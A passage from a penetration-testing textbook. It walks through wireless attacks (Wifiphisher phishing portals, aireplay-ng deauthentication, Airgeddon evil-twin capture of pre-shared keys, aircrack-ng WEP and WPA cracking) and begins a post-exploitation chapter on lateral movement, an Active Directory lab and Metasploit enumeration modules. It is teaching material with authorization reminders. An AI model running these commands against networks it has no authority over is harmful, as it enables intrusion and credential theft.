This vulnerability allows the attacker to recover the password by abusing timing or cachebased side channel leaks.
WPA3 is not within the scope of this book, but it is worth keeping abreast with the new
standards and vulnerabilities that exist in them.
For more information on WPA3, you can visit the Wi-Fi Alliance page
found here: https://www.wi-fi.org/discover-wi-fi/security.

Types of wireless attacks
Let's take a look at the various types of wireless attacks that exist:
Access control attacks: These types of attacks attempt to gain access to a wireless
network by evading access control protections, such as MAC filters or 802.1x
port security. Some examples of access control attacks are as follows:
Rogue access points: These are unsecured access points that are
used to create a back door into a trusted network.
Mac spoofing: This attack attempts to spoof the mac address of an
already authorized access point or station.
Ad hoc associations: This type of attack attempts to connect
directly to a station via ad hoc mode. This enables the security of
an access point to be bypassed, as the station can be attacked or
used as a pivot point.
Confidentiality attacks: These types of attacks are aimed at intercepting traffic
that is sent across a wireless network. Some examples of confidentiality attacks
are as follows:
Evil Twin AP: This is a malicious access point that masquerades as
a legitimate access point in the attempt to fool clients into
authenticating to it. This can be used to steal credentials or perform
man-in-the-middle attacks.
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Fake portals: In this attack, a fake captive portal is used in an
attempt to fool a user into providing information such as the preshared key, sensitive information, or login details.
Integrity attacks: These types of attacks utilize forged frames to mislead the
recipient. They can also be used to perform a denial of service attack. Some
examples of integrity attacks are as follows:
Radius replay attacks: Utilizing techniques such as sniffing and
interception, request authenticators, identifiers, and server
responses can be captured and stored. These can later be replayed
for malicious purposes.
Frame injection attacks: In this attack, wireless frames can be
manipulated. For example, forcing a deauthentication frame to
force a device to reauthenticate to the access point so that the
handshake can be captured.
Authentication attacks: These types of attacks are aimed at stealing
authentication information, which can be used to access resources or services.
Some examples of authentication attacks are as follows:
WEP/WPA/WPA2 key cracking: This attack entails capturing the
authentication handshakes and performing an offline brute force to
obtain the pre-shared key.
Downgrade attacks: These attacks can be used against 802.1x by
forcing the server to offer a weaker authentication using forged
EAP packets.

Compatible hardware
Having the right hardware is key in performing penetration tests against wireless
networks. Not all wireless adapters enable you to switch to monitor mode or perform
packet injection.
Monitor mode allows a wireless adapter to switch into promiscuous mode so that it can
monitor the packets without any filtering. Many tools, such as airodump-ng
and aireplay-ng, require a wireless adapter to be placed in monitor mode to operate.
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Wireless adapters
Choosing the right wireless adapter can be tricky, especially with the many options that
exist today. The right adapter is specific to your needs. You might require a small compact
adapter or an adapter that you can leverage various antenna sizes. It all depends on what
your preferences are and if it will work for you.
One thing to note with wireless adapters is that TX power and RX sensitivity should be
taken into consideration. For example, lower sensitivity is better for reception but higher
power is better for transmission of data. Generally, you will only use high-powered
adapters if you are considering range.
Wireless adapters that have an Atheros, Realtek, or Ralink chipset generally support
monitor mode and packet injection. However, not all of them do. There are multiple
reviews and write-ups on the internet that are updated regularly with the latest supported
hardware. A quick search on your favorite search engine for keywords such as Kali
Linux compatible wireless adapters will provide you with ample results.
The most common wireless adapters used are the Alfa wireless adapters. These are found
on Amazon and other vendors, and are relatively cheap. Be careful of fakes, as there have
been a number of fakes on the market. The wireless adapter that I am using is the Alfa
AWUSO36NH. This card has an impressive TX power of 2000 mW. It is available on
Amazon for $31.99 at the time of writing. As some networks use 2.4 GHz and 5 GHz
frequencies, you may want a wireless adapter that can work across both frequencies. The
Panda PAU09 works well with Kali linux and supports both the 2.4 GHz and the 5 GHz
frequency; at the time of writing, this adapter is available on Amazon for $39.99.
It is important to note that some wireless cards will work straight out of the box with Kali
Linux. Some will require drivers to be compiled. Sometimes, minor revisions of the same
card model will produce different results. Ensure that you research your wireless card
thoroughly.
The primary difference between 2.4 GHz and 5 GHz frequencies is the
range. 2.4 GHz is able to reach a much further distance compared to 5
GHz. Alternatively, 2.4 GHz suffers from a lot more interference than 5
GHz. The number of overlapping channels are a lot more in 2.4 GHz,
which has three non-overlapping channels, while 5 GHz has twenty-three
non-overlapping channels.
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Once you have a compatible wireless adapter, you can put it into monitor mode by
performing the following:
1. Open a Terminal window in Kali Linux and issue the iwconfig command. Note
the interface name of your wireless card (Figure 4). In the following example, the
wireless adapter interface name is wlan0:

Figure 4: Using iwconﬁg to identify the wireless adapter

2. Before changing the mode, it is a good practice to shut down the interface. This
can be done using the ifconfig wlan0 down command. To change the mode
from managed to monitor, the iwconfig wlan0 mode monitor command is
used. Lastly, the interface is brought back online using the ifconfig wlan0 up
command as shown in Figure 5:

Figure 5: Putting the wireless adapter in monitor mode

Now the wireless adapter is operating in monitor mode (Mode:Monitor). To change the
interface back to monitor mode, follow step 2 from before, but use the iwconfig wlan0
mode managed.
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There is a much quicker way of enabling monitor mode by using airmon-ng; this will be
covered in the next section.
If you are using an Alfa wireless card which supports a transmit power rating of 1000 mW,
depending on your location, your Tx-Power might be set to 20 dBm (as per Figure 6). To
enable the cards full capability, follow these steps:
1. Shut down the interface using the ifconfig wlan0 down command. Wlan0 is
the interface name; in your environment it might be different.
2. Set the region to US using the iw reg set US command.
3. Bring the interface online using the ifconfig wlan0 up command.
4. Check the power rating using the iwconfig wlan0 command:

Figure 6: Increasing Alfa TX power

Notice the power rating has increased now to 30 dBm (Figure 6). Every 10 dBm increases
the power in mW 10 times.

Wireless attack tools
Kali Linux includes a number of built-in tools that can be used for attacking wireless
networks. We will explore the various tools and how they can be used.
Please note that as you progress through this chapter, you should perform
the attacks on your own wireless network.
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Wifiphisher
Wifiphisher is an excellent rogue access point tool that can be used for conducting
penetration tests or Wi-Fi security testing. This tool works by creating a man-in-the-middle
attack against wireless clients that are performing associations to access points. Wifiphisher
can be customized by using third-party login pages, or you can create your own.
Wifiphisher is installed by default in Kali Linux. It can be run using the wifiphisher
command. Note that wifiphisher requires roguehostapd, however, you can use
hostapd, which is installed in Kali. To use hostapd, you can run the wifiphisher -force-hostapd command.
Let's perform a simple phishing campaign using the built-in phishing pages of
wifiphisher. Remember to have your wireless adapter in monitor mode:
1. From a Kali Terminal window, run the wifiphisher --force-hostapd
command. You will be presented with the main screen of wifiphisher (Figure
7). Here, you will be presented with a list of discovered wireless networks. Select
the one that you want to create a rogue access point of:

Figure 7: Wiﬁphisher wireless network selection

2. Once the network is selected, you will be presented with a selection of available
phishing scenarios. I have selected the standard Firmware Upgrade Page as
shown in Figure 8:
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Figure 8: Phishing scenarios of wiﬁphisher

You can build your own phishing scenarios, and leverage pre-built custom pages that are
available on the internet. These pages need to be stored in the
wifiphisher/data/phishingpages directory.
Once you have selected the page, wifiphisher will automatically create the rogue access
point and start to deauthenticate any connected clients.
Once the user tries to connect to the wireless network again, they will be presented with the
phishing page you have selected. In my case, it is the firmware upgrade page as shown
in Figure 9:

Figure 9: Firmware upgrade phishing page
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Once the pre-shared key is provided, the page begins to upgrade the firmware, but of
course, nothing is actually happening. However, on the Wifiphisher Terminal, we have the
captured credentials in clear text as shown in Figure 10:

Figure 10: Captured PSK

When using this tool in a penetration test, you need to make the phishing page convincing.
Some end users are tech-savvy and would not easily fall for a simple phishing page. You
also need to consider that in an enterprise Wi-Fi authentication uses their domain
credentials; in this case, you need to create a crafty phishing page that will resemble an
enterprise portal.
More information on creating custom phishing pages can be found here: https://
wifiphisher.org/docs.html.

Aircrack-ng suite
Aircrack-ng is a powerful set of tools that comes pre-installed with Kali Linux. The suite
includes tools that address the following categories:
Monitoring: Performs packet captures and provides capabilities to export data to
text files for use in third-party tools
Attacking: Used to perform replay attacks, frame attacks such as
deauthentication, and more, using packet injection
Testing: Views Wi-Fi adapter capabilities, performs captures, and packet
injection
Cracking: Performs attacks against WEP, WPA, and WPA2 pre-shared keys
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Let's dive into the various tools and how these can be used for penetration testing. Keep in
mind that your wireless adapter must be in monitor mode for the tools to work. We will
begin with using airmon-ng to enable monitor mode.

Airmon-ng
Airmon-ng is a script that is used for enabling and disabling monitor mode on your
wireless adapter. Your current wireless interface status will be displayed by running
airmon-ng without any parameters.
Airmon-ng is simple and straightforward. Use the following steps to enable monitor mode
on the wireless adapter:
1. Open a Terminal window and view the name of your wireless adapter using the
airmon-ng command. This command will display the current wireless adapter,
its interface name, driver, and chipset.
2. To put the adapter into monitor mode you can use the airmon-ng start
[interface name] command. For example, in Figure 11, my adapter has the
interface name of wlan0:

Figure 11: Using airmon-ng to enable monitor mode

An airmon-ng can be used to check if there are any processes that will interfere with the
tools of the aircrack-ng suite. The command to check this is airmon-ng check.
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In Figure 12, we see there are a few processes that can cause problems with the aircrackng suite of tools:

Figure 12: Identifying problematic processes

You have the ability to let airmon-ng kill any process that will interface by using this
command: airmon-ng check kill.
To put your wireless adapter back into managed mode, you can use this
command: airmon-ng stop [interface name].
An airmon-ng enables the ability to set your adapter in monitor mode on a specific
channel. This can be done using this command:
airmon-ng start [interface name] [channel number]

This comes in handy when there are a lot of wireless networks and you want to focus on a
specific channel which your target network operates on.

Airodump-ng
Airodump-ng is used to perform a packet capture of raw 802.11 frames. This tool can be
used to collect WPA handshakes or weak WEP initialization vectors for use with Aircrackng. It has the functionality to log GPS coordinates of the detected wireless networks, which
can later be imported into online Wi-Fi mapping tools.
The command syntax for airodump-ng is airodump-ng [options][interface name].

[ 261 ]

Getting Started with Wireless Attacks

Chapter 9

There are a lot of options available for airodump-ng. Just issuing the airodump-ng
command will display the full list. Some of the notable options are as follows:
-w: This is used to write the output to a file.
-c: This is used to specify the channel to capture.
-bssid: This is used to define the target BSSID.

Sniffing for wireless networks using airodump-ng is done using the airodumpng [interface name] command, without any options. The output displayed will show
the current wireless networks in range including the stations that are connected as shown
in Figure 13:

Figure 13: Airodump-ng output

Do not be overwhelmed with the information displayed, as making sense of it is simple.
Airodump-ng has two separate sections. The top portion displays information about the
discovered networks. The fields are described as follows:
Field

BSSID
PWR

Description
This is the MAC address of the access point.
This is the signal level. The closer you are to the access point, the higher the signal level rating.
Some might show up as -1, meaning that you are too far, or there is a driver issue with
detecting the signal level.

Beacons Number of beacon frames sent by the AP.
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Number of captured data packets. If WEP is being used, it will be the unique IV count.
Number of data packets captured over 10-second periods.
This is the channel number, which is derived from the beacon frames.
Maximum speed supported by the AP.
Encryption algorithm in use.
Cipher that has been detected.
Authentication protocol that is in use.
The SSID of the network. If the SSID is hidden, then this value will be blank; however,
airodump-ng will try to recover the SSID from probe and association responses.

The bottom section displays the MAC address of the detected access points and the clients
(stations) that are connected to the access point.
For demo purposes, I am targeting the Hackme wireless network. I will tell airodump-ng
to focus on that access point and channel, and I want to write the captures to disk. This can
be done using the following command:
airodump-ng -c 6 --bssid B8:69:F4:93:A7:55 -w hackme-cap [interface name]

In this command, the -c 6 denotes the channel number, --bssid denotes the access point
MAC address, -w denotes the filename for the captures, and interface name is my
wireless adapter, which is in monitor mode:

Figure 14: Customizing airodump-ng for a speciﬁc network

Notice the output in Figure 14, where a WPA handshake has been captured. We will cover
cracking that handshake in the Aircrack-ng section later in this chapter.

Aireplay-ng
Aireplay-ng is primarily used to inject frames and to generate traffic for later use with
aircrack-ng. One of the common attacks is the deauthentication attack; the purpose of
this attack is to capture handshake data.
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The command syntax for aireplay-ng is as follows:
aireplay-ng [options][interface name]

An aireplay-ng has a wealth of options, where for each of the various attack methods,
the attack methods can be defined by name or number. For example, the
deauthentication attack is attack number 0 or --deauth can be used. An
aireplay-ng supports the following attack methods:
Deauthentication: The purpose of this attack is to disassociate the clients that are
connected to an access point. This forces them to reassociate and enables you to
capture the handshake.
Fake authentication: This attack allows you to associate with an access point. It is
useful when you need to leverage various attacks and there are no stations
associated with the access point.
Interactive packet replay: This attack is used when you want to choose a specific
packet to replay to the access point.
ARP request replay attack: This attack is effective in generating new IVs. It
works by retransmitting ARP packets back to the access point, which forces the
access point to repeat the ARP packet with a new IV.
KoreK chopchop attack: This attack is able to decrypt a WEP data packet
without having the key. It does not recover the WEP key but reveals it in plain
text.
Fragmentation attack: This attack is used to obtain a pseudo-random generation
algorithm (PRGA). This PRGA can be used with packetforge-ng to generate
packets for various other injection attacks.
Cafe-latte attack: This attack enables you to obtain a WEP key from a client
station instead of the access point. It manipulates ARP packets which get sent to
the client, who in turn sends it back, and it is captured and analyzed.
Client-oriented fragmentation attack: This extends the cafe-latte attack by using
any packets and not just an ARP packet.
WPA migration mode: This attack is specific to bugs found in Cisco access points
that enabled both WPA and WEP clients to associate to an access point using the
same SSID.
Injection test: This test determines if your wireless adapter can successfully
inject packets to an access point.
Each attack can be defined using a number. For example, the
deauthentication attack can be defined as -0. You will notice later in this
chapter, will use numbers for the various attacks.
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Let's use aireplay-ng to perform a deauthentication attack as shown in Figure 15 using
the following command:
aireplay-ng -0 10 -a [BSSID] -c [Client MAC] [interface name]

In this command, -0 10 is used to specify a deauthentication attack and only 10 packets
will be sent, -a is used to define the MAC address of the access point, -c is used to define
the client mac address, and the interface name is the wireless adapter, which is in
monitor mode. Sometimes, it might take a few more packets to cause the station to
deauthenticate. You can use the -0 0 option to send an unlimited number of packets:

Figure 15: Deauthentication attack

The ACKs represent the following:
[Client ACKs received | Access point ACKs received]

This provides you with a good indication whether the packets were received. Higher values
are better.

Airgeddon
Moving away from multiple tools within the aircrack-ng suite, let's now focus on a tool
that has multiple capabilities built into it—and is simple to use.
Airgeddon (developed by v1s1t0r1sh3r3) is a tool that is written in bash for multiple
attacks against wireless networks. Some of the features of Airgeddon are as follows:
Ability to manage the interface mode (monitor and managed)
Support for 2.4 GHz and 5 GHz bands
Assisted WPA/WPA2 handshake capturing, with cleaning and optimizing the
files
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Offline password cracking for WPA/WPA2 enterprise and personal
Evil twin attacks
WPS attacks
Airgeddon is not installed by default in Kali Linux. To install it, perform the following
steps:
1. Installing Airgeddon can be done by cloning the repository. Use the following
command to clone Airgeddon in Kali Linux:
git clone https://github.com/v1s1t0r1sh3r3/airgeddon

2. Once you've cloned Airgeddon, use the following command to run it:
sudo bash airgeddon.sh

When Airgeddon starts up, it will perform a series of checks to ensure that you
have all the required tools. If it detects that tools are missing, it will highlight
these and including the package name as shown in Figure 16:

Figure 16: Airgeddon optional tools check
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3. In Figure 16, there are some tools missing. Take note of the package name. To
install the missing tools, we can simply use this command:
apt get install bettercap mdk4 hostapd-wpe

4. After the initial checks are completed, Airgeddon will prompt for the network
card that will be used as shown in Figure 17:

Figure 17: Interface selection

5. Once you have selected your interface, you will be presented with the main
menu of Airgeddon as shown in Figure 18:

Figure 18: Main menu of Airgeddon

The main menu presents a number of options. In the first section, we have the ability to put
the selected interface into monitor or managed mode. The next section defines the various
attacks that Airgeddon is capable of performing. Finally, the last section is for options and
credits.
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The Evil Twin attack
Now, we will perform an Evil Twin attack using Airgeddon. An Evil Twin attack is a
malicious access point that is set up to obtain sensitive information, obtain credentials, or
drop malicious payloads. In our example, we will create an Evil Twin that is set up to steal
the pre-shared key of a wireless network using a captive portal:
You should only perform this attack against networks you are authorized
for. For learning purposes, you should perform this attack against your
own wireless network.
1. Start up Airgeddon using this command:
sudo bash airgeddon.sh

2. Select your wireless adapter, and put it into monitor mode using the main menu
of Airgeddon. Next, select option 7, the Evil Twin attacks menu (Figure 19). Once
the menu has loaded, select option 9:

Figure 19: The Evil Twin attacks menu
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3. The first step that Airgeddon will perform is exploring for wireless networks. It
will automatically set the filters for WPA/WPA2, and the scan will be started in a
new window as shown in Figure 20:

Figure 20: Airgeddon exploring for targets

4. Leave this window open for a while so that you can obtain an accurate reading of
the wireless network. Once you close the window, Airgeddon will prompt you to
select the network you want to attack (Figure 21). Note that the * denotes it is an
active network:

Figure 21: Airgeddon network selection
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5. Once you select the network you want to attack, you will be presented with the
deauth attack menu as shown in Figure 22:

Figure 22: Deauth attack menu

There are a few options to choose here; you will need to find the best match for
the network you are attacking. Generally, the mdk4 attack is very effective.
6. Once you select the deauth mode, Airgeddon will prompt you for some
additional settings, such as DOS pursuit mode and enabling internet access on
the interface. For simplicity, we will select NO for these. The next batch of options
is related to spoofing your mac addresses, and defining a capture file if you
already have this. If you select NO for the capture file, you can define the value in
seconds to wait for the WPA proposal. Depending on how active the network is,
you will need to increase this value. If you don't, and use the default, you might
not obtain the WPA handshake.
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7. Once you complete the options, two new windows will open. Once the WPA
handshake is captured, Airgeddon will notify you to move on to the next step,
which is defining the language for the captive portal. Once the language is
defined, Airgeddon will launch multiple windows (Figure 23) to perform the Evil
Twin attack:

Figure 23: Airgeddon Evil Twin attack

The windows that were spawned relate to DNS (for intercepting DNS requests), DHCP (for
providing the stations a valid network address in order to communicate with the fake
access point), fake access point (the fake access point configuration), web server (used to
host the captive portal) and finally, the information window. All of these are needed in
order to host a fake captive portal.
Now, when the station connects to the access point, it will be presented with a captive
portal. Once the pre-shared key is entered, it will be presented in clear text (Figure 24). The
captive portal can be tweaked as needed:
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Figure 24: Pre-shared key captured

Airgeddon is really simple to use. It has a wealth of attacks that it is capable of performing.
As you progress, you will likely find more tools, but knowing how to use the tools in
aircrack-ng is still beneficial, as you may have noticed some of the attacks within
Airgeddon still leverage parts of the aircrack-ng suite.

Cracking WEP, WPA, and WPA2
Aircrack-ng is a program that enables you to crack WEP, WPA, and WPA2 pre-shared keys.
It supports a number of methods for password cracking; these methods are as follows:
Pyshkin, Tews, Weinmann (PTW), which uses ARP packets to crack WEP keys.
FMS/KoreK uses statistical attacks coupled with brute force techniques to crack
WEP keys.
The dictionary method leverages dictionary files, which can be used to brute
force WEP, WPA/WPA2 keys. Note that for WPA/WPA2 cracking, this is the only
method used.
The command syntax for aircrack-ng is as follows:
aircrack-ng [options] <capture file(s)>
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There are a bunch of options available to use with aircrack-ng. These can be viewed by
running the aircrack-ng command without anything else defined.

Cracking WPA/WPA2
Let's take a look at an example of using aircrack-ng to crack WPA2. It's important to note
that the only possible way of cracking WPA2 is using a dictionary file with brute force
techniques. With all brute force attempts, success is dependant on the quality of your
wordlist. Remember that larger wordlists will require a lot more time and processing
power.
In Figure 25, you will notice that a WPA handshake was captured:

Figure 25: WPA handshake capture

Cracking this handshake using aircrack-ng is done using the following command:
aircrack-ng -w [wordlist] [capture file]

The -w switch denotes the location of a wordlist that will be used. You can define the
capture file by name, or you can use *.cap if you have multiple capture files. Using the
command, observe the results as shown in Figure 26:

[ 273 ]

Getting Started with Wireless Attacks

Chapter 9

Figure 26: WPA key cracked using aircrack-ng

The process of cracking a WPA2 handshake is the exact same as the
process for WPA.

WPA/WPA2 supports a number of authentication methods apart from pre-shared keys.
Aircrack-ng can only crack WPA networks that use pre-shared keys. If airodump-ng
shows the network having something other than PSK, do not bother cracking it as it will
waste your time.
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Cracking WEP
There are multiple ways to crack WEP keys. In the previous section, we discussed attacks
such as fake authentication, caffe-latte attacks, PTW attacks, and so forth.
Now, we will perform a few attacks to crack a WEP key. This attack requires at least one
station connected to the access point.
In my setup, I have used my host machine as a connected client. If the router you are using
to test this attack supports WEP, please set up WEP on the router prior to performing the
following steps:
1. Ensure that your wireless adapter is in monitor mode. Using airodump-ng, we
will specify the wireless network that is using WEP and begin capturing the
packets. In my setup, the wireless network is called Hackme. Using the command
defined in the airodump-ng section earlier, I am tuning airodump to capture
packets specifically for the wireless network using the following command:
airodump-ng -c 6 --bssid B8:69:F4:93:A7:55 -w hackme-cap
[interface name]

To crack a 64-bit WEP key requires a lot of IVs, around 250,000 at least. Leaving
the capture idle, it will take a bit of time to obtain a sufficient amount of IVs. In
order to speed up the process, we will capture and replay packets back to the
access point in order to generate unique IVs. Before we do this, we need to
authenticate to the access point, or else any packets we send will be dropped.
2. To authenticate to the access point, we will perform a fake authentication attack
(Figure 27). This attack works by convincing the access point that we know the
WEP key, but we do not send it. To perform this attack, we use this command:
aireplay-ng -1 0 -e Hackme -a [MAC Address] -h [MAC Address]
[interface name]

In this command, we are defining the attack using -1; 0 is the retransmission
time, -e denotes the SSID, -a is the MAC address of the access point that we
want to authenticate to, -h is the MAC address of the network card, and
interface name is the wireless interface name, which is in monitor mode:
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Figure 27: Performing a fake authentication attack

Notice that the authentication was successful; we can begin sending packets to the
access point. The access point will not accept traffic unless the WEP key is sent
first. Since we did not send the key (because we don't know it as yet) we will need
to capture packets from clients who are authenticated, and replay them. To do
this, we will use the ARP request replay attack.
3. Leveraging aireplay-ng, we will tell it to capture and re-broadcast any ARP
packets it received. The command we will use is as follows:
aireplay-ng -3 -b [MAC Address] -h [Mac Address] [interface
name]

In this command (Figure 28), we define the attack using -3; -b is used to define
the access point MAC address, -h is used to define the MAC address of the
wireless adapter that is in monitor mode, and interface name is the interface
name of the wireless adapter, which is in monitor mode:

Figure 28: Performing an ARP request replay attack

Take note of the warning. If you define the wrong MAC address, aireplay-ng
will alert you.
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As traffic traverses from the authenticated client to the access point, and ARP
requests are captured, you will notice the ARP request count increasing. You
might receive a message stating that you got a deauth/disassoc packet. If this
happens, ensure that you re-run the fake authentication attack again (step 2); you
might have to do this a number of times.
Once you have received enough IVs, as shown in Figure 29 under the #Data
column, you are ready to crack the key using aircrack-ng:

Figure 29: Large number of IVs received as depicted by the #Data column

4. To crack the WEP key, the following command is used:
aircrack-ng -b [MAC Address] [capture]

In this command, we define the access points MAC address using the -b option,
then we define the capture name, which can also be defined as *.cap.
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If you have capture enough IVs, the key will be cracked as shown in Figure 30:

Figure 30: WEP key cracked

Remember to remove the colons, :, to obtain the actual key.
The difference between cracking WPA/WPA2 and WEP is the approach. WEP uses
statistical methods, which can be used to speed up the cracking process, but in
WPA/WPA2, the only option that exists is brute force.
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Summary
In this chapter, you have learned about the various wireless attack methods. We have
identified a key component of a wireless network, wireless frames, and the various
information that can be obtained from some of these frames. You have learned which
network cards are capable of performing packet injection, intercepting wireless packets,
and how to increase power ratings of an Alfa wireless card.
We discussed the various encryption methods that exist in wireless networks, and the
vulnerabilities of them. You have gained knowledge about various attack tools, and how to
perform different types of attacks. Lastly, you have learned how to crack WEP and
WPA/WPA2 pre-shared keys.
In Chapter 10, Moving Laterally and Escalating Your Privileges, we will look at how to move
around laterally within a network, with the objective of finding a high-privileged account.
You will also learn how to escalate privileges within a network.

Questions
1.
2.
3.
4.
5.

Name the three types of wireless frames.
What type of information can be obtained from a beacon frame?
Why is WPA2 more secure than WPA?
Name four types of wireless attack.
Name three wireless attack tools.
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Section 3: Post Exploitation
In this section, we will explore techniques that are used post exploitation. You will learn
how to apply various techniques to perform lateral movement, privilege escalation, and
pivoting. We will explore the various ways that technical controls, such as antivirus
measures, can be evaded using tools and custom shell codes. You will learn how to
maintain access within a compromised network using persistence techniques.
The following chapters will be covered in this section:
Chapter 10, Moving Laterally and Escalating Your Privileges
Chapter 11, Antivirus Evasion
Chapter 12, Maintaining Control within the Environment

10
Moving Laterally and Escalating
Your Privileges
Now that you have exploited the system, you may be wondering what's next. Postexploitation is the next step and is where we want to gain further access to targets within
the internal network. In this chapter, we will look at how we can obtain higher privileges
than what we currently have. This might entail further sniffing across the network, along
with performing lateral movement techniques.
In this chapter, you will learn about different post-exploitation techniques and why postexploitation forms an integral part of a penetration test. You will learn how to build an AD
lab that you can use to test your post-exploitation skills against. By using the tools that are
available, you will understand their purposes and how they can be used in a penetration
test so that you can ensure you have access to the exploited system.
As you progress through this chapter, you will learn about the following topics:
Discovering post-exploitation techniques
Preparing your environment
Post-exploitation tools
Performing post-exploitation attacks

Technical requirements
To follow along with the examples and instructions in this chapter, please ensure that you
have the following technical requirements:
Kali Linux 2019.1
Metasploitable 3
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Windows Server 2016 (Evaluation)
Windows 10 Enterprise (Evaluation)

Discovering post-exploitation techniques
When performing post-exploitation, there are a number of techniques that you will need to
be aware of. These techniques are what you will leverage when you are engaged in a
penetration test. For example, consider a scenario where you might compromise a standard
user who doesn't have access to many resources on a network. Your goal (as defined in the
scope of the penetration test) is to obtain domain dominance and create a high privileged
user account. How would you progress? This is where understanding the different
techniques of post-exploitation comes in, as you will be able to see gaps that can be
leveraged to bring you closer to your goal.
We will cover some of these techniques in this section.

Lateral movement
Once you have compromised the initial host on the target network, you will need to start
moving laterally within the environment. Lateral movement is the process of moving from
one host to another in search of higher privileged accounts, pivot points, sensitive data, or
simply reconnaissance. During this phase, it is a common practice to use built-in tools in
order to avoid detection. Tools such as PowerShell or WMI are usually whitelisted and
allowed on endpoints within an environment.
Credential harvesting is usually a main focus point during lateral movement. It begins with
the host that has been compromised and persists as you move through the network.
Harvesting credentials can provide you with escalation paths if you use techniques such as
key logging, memory dumps, or even capturing files that store credentials. Most
organizations underestimate the built-in local administrator account. This account can be
used to jump around to different endpoints.
Another way you can move around within a network is by exploiting unpatched machines.
Some organizations don't use an isolated environment when provisioning new
workstations for its employees. While the OS is busy updating, you have a small window
where patches are missing, and this can be exploited.
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Privilege escalation
Privilege escalation is the process of looking for ways to obtain higher privileged access
than what you currently have. For example, if you have compromised a normal user
account, chances are that account doesn't have access to a domain controller. Therefore, you
will need to look for an account that does have access. A dead giveaway is accounts inside
the domain administrators group.
In order to find that high privileged account, you will need to work your way through
computers using lateral movement, as discussed in the previous section. You will work
through files that might contain credentials, misconfigured services, excessive user rights,
or even security measures that have been made insecure deliberately.

Pivoting
Corporate networks will often have logical boundaries that you need to traverse in a
penetration test. A logical network boundary is a logical separation within the network,
which is usually done by segmenting the network into different subnets and controlling
access to the subnets via routers, switches, or even firewalls. For example, a network will
contain a trusted segment, server segment, demilitarized segment (DMZ), and an external
segment. The trusted zone will be the internal network, which is the most trusted network
and will probably not have many restrictions within it. The server segment will be a subnet
that has various servers within it. The demilitarized segment holds external facing servers,
and the external segment will be an untrusted network, such as the internet.
Pivoting is the process of accessing resources that you would not have access to under
normal circumstances. If we consider the various segments we discussed in the previous
paragraph, you might have gained initial access to the trusted segment. You are now
looking at accessing a specific server in the server segment, but this is not allowed from the
general trusted network—it is only allowed from a jump host, which will have access to
both the server and trusted segment. Gaining access to that jump host will give you a pivot
point to the server segment.
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Preparing your environment
To demonstrate the various post-exploitation attacks in this chapter, I have built a basic
Active Directory (AD) lab. You can build the same one that I built by using the following
diagram:

Figure 1: Lab diagram

Windows 10 Enterprise Evaluation can be downloaded from the following URL: https://
www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise.
Windows Server 2016 Evaluation can be downloaded from the following URL: https://
www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2016.
The setup steps for creating a domain on the server operating system is as follows:
1. Once your server is installed, log in using the local administrator account.
2. Configure a static IP address on the Ethernet adapter. If you are building a
virtual machine, ensure that you set your network adapter to be a private
network on the virtualization software.
3. Click on start and search for PowerShell. Then, right-click on PowerShell and
select Run as administrator.
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4. Once PowerShell is open, enter the Install-WindowsFeatures -Name ADDomain-Services -IncludeManagementTools command. Once the feature
has been installed, you will receive a message, as follows:

Figure 2: Installing AD Domain Services

5. Next, we need to set up the AD forest configuration. Enter the InstallADDSForest -DomainName "pentest.lab" -InstallDNS command. You
will be prompted to enter a recovery password; this can be anything you desire.
Use A to say yes to all of the questions:

Figure 3: Installing the AD forest

6. During this time, the installation will install a number of components. After a
while, the server will reboot. Once rebooted, you will be able to log in with the
administrator username and password you defined when you first installed the
server.
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7. You can confirm that the domain has been successfully set up by issuing the
Get-ADDomain command in an administrative PowerShell window:

Figure 4: Verifying Active Directory information

If you prefer to use the graphical interface, there is a great blog located at
the following link which tells you all about how to go about this: https://
blogs.technet.microsoft.com/canitpro/2017/02/22/step-by-stepsetting-up-active-directory-in-windows-server-2016/.

There are some additional tasks that need to be completed, and you can use the PowerShell
commands defined here to do so. Ensure that you are logged in to the domain controller
using a domain administrator account and then perform these additional steps using
PowerShell:
1. The first thing we will do is create a new organization unit within AD. You can
call this anything you want. In my environment, I have called this IT:
New-ADOrganizationalUnit -Name "IT"
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2. The next step is to create the user accounts. You can repeat this step to create the
helpdeskagent and serveradmin accounts by changing the names marked in
bold:
New-ADUser -Name "DomainAdmin" -GivenName "Domain" -Surname "Admin"
-SamAccountName "DomainAdmin" -UserPrincipalName
"DomainAdmin@pentest.lab" -Path "OU=IT,DC=pentest,DC=lab" AccountPassword(Read-Host -AsSecureString "User Password") -Enabled
$true

3. Next, we will create a security group. helpdeskagent will be added to this
group:
New-ADGroup "Helpdesk Staff" -Path "OU=IT,DC=pentest,dc=lab" GroupCategory Security -GroupScope Global -PassThru –Verbose

4. Finally, we will add the various users to their respective security groups:
Add-AdGroupMember -Identity "Domain Admins" -Members DomainAdmin
Add-AdGroupMember -Identity "Helpdesk Staff" -Members HelpdeskAgent

Once the domain controller has been built, you can join your Metasploitable 3 and
Windows 10 Enterprise virtual machines to the domain. Ensure that you set up a static IP
and DNS, as per the preceding diagram.
To simulate the attacks that we'll be covering later, I have configured the following:
Windows 10 Enterprise virtual machine: Here, the logged on user will
be domainadmin. I have configured the Helpdesk Staff group as a local
administrator on the PC.
Metasploitable 3: Here, I have logged in with both
the serveradmin and helpdeskagent accounts.
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Post-exploitation tools
Post-exploitation forms an important part of a penetration test. There are a number of tools
that can be leverage for post-exploitation. Understanding when and how to use these tools
will help you to conduct successful post-exploitation activities.
We will discuss a few of these tools in this section.

Metasploit Framework
Metasploit Framework really has a lot of functionality, and we have used it extensively
throughout this book. We focused mostly on the exploitation features of the framework.
Now, we will look at the post-exploitation features. Metasploit provides a number of
modules that can be used against a variety of systems.
To perform these attacks in your lab, I have used the Metasploitable 3
(Windows) virtual machine as the target. The exploit I have used is
windows/smb/ms17_010_eternalblue, which we covered in Chapter
5, Diving into the Metasploit Framework.
Let's look at some of the post-exploitation features that are available and what they can be
used for.

Metasploit post modules
Within the Metasploit Framework, there are a number of post modules that span across
different operating systems. These can be viewed by typing in use post, followed by
pressing the Tab key twice. Metasploit will prompt you to display all of the possibilities. At
the time of writing, there are 328 post modules that can be used:

Figure 5: Viewing post modules in Metasploit
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Let's look at some of the modules that you can use. For example,
the post/windows/gather/enum_ad_users
and post/windows/gather/enum_ad_groups modules would provide you with some
insight into the users and groups that exist within the AD domain:

Figure 6: Enumerating AD groups
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On the target system that you have exploited, you will need to identify what is currently
installed. This will help in determining security controls such as host intrusion detection or
antivirus applications. By using post/windows/gather/enum_applications, you will
be able to see a list of installed applications:

Figure 7: Listing currently installed applications

